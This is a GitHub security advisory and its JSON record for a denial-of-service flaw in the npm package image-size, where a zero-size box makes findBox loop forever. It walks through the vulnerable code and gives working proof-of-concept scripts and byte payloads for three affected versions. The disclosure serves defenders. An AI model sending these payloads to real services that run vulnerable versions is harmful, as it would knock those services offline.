GHSA-M5QC-5HW7-8VG7
Vulnerability from github – Published: 2025-04-02 15:04 – Updated: 2026-06-10 17:13Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.
Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.
JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF and JP2 handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:
node main.js poc1|poc2
- poc for
image-size@2.0.1
// mkdir 2.0.1
// cd 2.0.1/
// npm i image-size@2.0.1
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
(async () => {
await imageSizeFromFile(FILENAME)
console.log('Done') // never executed
})();
}
function poc2() {
imageSize(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
image-size@1.2.0
// mkdir 1.2.0
// cd 1.2.0/
// npm i image-size@1.2.0
const sizeOf = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "
// ]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
- poc for
image-size@1.1.1
// mkdir 1.1.1
// cd 1.1.1/
// npm i image-size@1.1.1
const sizeOf = require("image-size");
const fs = require('fs');
// HEIF
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x66, 0x74, 0x79, 0x70, // "ftyp"
0x61, 0x76, 0x69, 0x66 // "avif"
]);
const FILENAME = "./poc.svg"
function createPayload() {
fs.writeFileSync(FILENAME, PAYLOAD);
}
function poc1() {
sizeOf(FILENAME)
console.log('Done') // never executed
}
function poc2() {
sizeOf(PAYLOAD)
console.log('Done') // never executed
}
const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2
async function run() {
createPayload()
const args = process.argv.slice(2);
const t = args[0];
const poc = pocs.get(t) || poc1;
console.log(`Running poc....`)
await poc();
}
run();
Impact
Denial of Service
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "image-size"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "image-size"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-71319"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-02T15:04:58Z",
"nvd_published_at": "2026-06-09T21:17:03Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n const byte = input[0]\n if (byte in firstBytes) {\n const type = firstBytes[byte]\n if (type \u0026\u0026 typeHandlers[type].validate(input)) {\n return type\n }\n }\n\n const finder = (key: imageType) =\u003e typeHandlers[key].validate(input) //\u003c--\n return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `\u0027JXL \u0027`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n validate: (input: Uint8Array): boolean =\u003e {\n const boxType = toUTF8String(input, 4, 8)\n if (boxType !== \u0027JXL \u0027) return false //\u003c---\n\n const ftypBox = findBox(input, \u0027ftyp\u0027, 0) //\u003c---\n if (!ftypBox) return false\n\n const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n return brand === \u0027jxl \u0027\n },\n```\n\n`findBox` can lead to an infinite loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =\u003e\n input[offset] * 2 ** 24 + // 0 +\n input[offset + 1] * 2 ** 16 + // 0 +\n input[offset + 2] * 2 ** 8 + // 0 +\n input[offset + 3] // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) { // offset: 0\n if (input.length - offset \u003c 4) return\n const boxSize = readUInt32BE(input, offset) // 0\n if (input.length - offset \u003c boxSize) return // (8 - 0) \u003c 0 =\u003e false\n return {\n name: toUTF8String(input, 4 + offset, 8 + offset), // \u0027JXL \u0027\n offset, // 0\n size: boxSize, // 0\n }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: \u0027ftyp\u0027, offset: 0\n while (offset \u003c input.length) { // 0 \u003c 8 =\u003e false\n const box = readBox(input, offset) // { name: \u0027JXL \u0027, offset: 0, size: 0 }\n if (!box) break // false\n if (box.name === boxName) return box // \u0027JXL \u0027 === \u0027ftyp\u0027 =\u003e false\n offset += box.size // offset += 0\n }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `image-size@2.0.1`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i image-size@2.0.1\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require(\u0027fs\u0027);\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n (async () =\u003e {\n await imageSizeFromFile(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n })();\n}\n\nfunction poc2() {\n imageSize(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.2.0`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i image-size@1.2.0\nconst sizeOf = require(\"image-size\");\nconst fs = require(\u0027fs\u0027);\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `image-size@1.1.1`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i image-size@1.1.1\nconst sizeOf = require(\"image-size\");\nconst fs = require(\u0027fs\u0027);\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n 0x61, 0x76, 0x69, 0x66 // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log(\u0027Done\u0027) // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log(\u0027Done\u0027) // never executed\n}\n\nconst pocs = new Map();\npocs.set(\u0027poc1\u0027, poc1); // node main.js poc1\npocs.set(\u0027poc2\u0027, poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service",
"id": "GHSA-m5qc-5hw7-8vg7",
"modified": "2026-06-10T17:13:36Z",
"published": "2025-04-02T15:04:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/image-size/image-size/security/advisories/GHSA-m5qc-5hw7-8vg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71319"
},
{
"type": "WEB",
"url": "https://github.com/image-size/image-size/commit/8994131c7c3ee8da1699e04700c95e0e683a0c68"
},
{
"type": "PACKAGE",
"url": "https://github.com/image-size/image-size"
},
{
"type": "WEB",
"url": "https://joshua.hu/image-size-infinite-loop-dos-vulnerabilities"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/image-size-denial-of-service-via-infinite-loop-in-jxl-heif-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "image-size Denial of Service via Infinite Loop during Image Processing"
}
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| Author | Source | Type | Date | Other |
|---|
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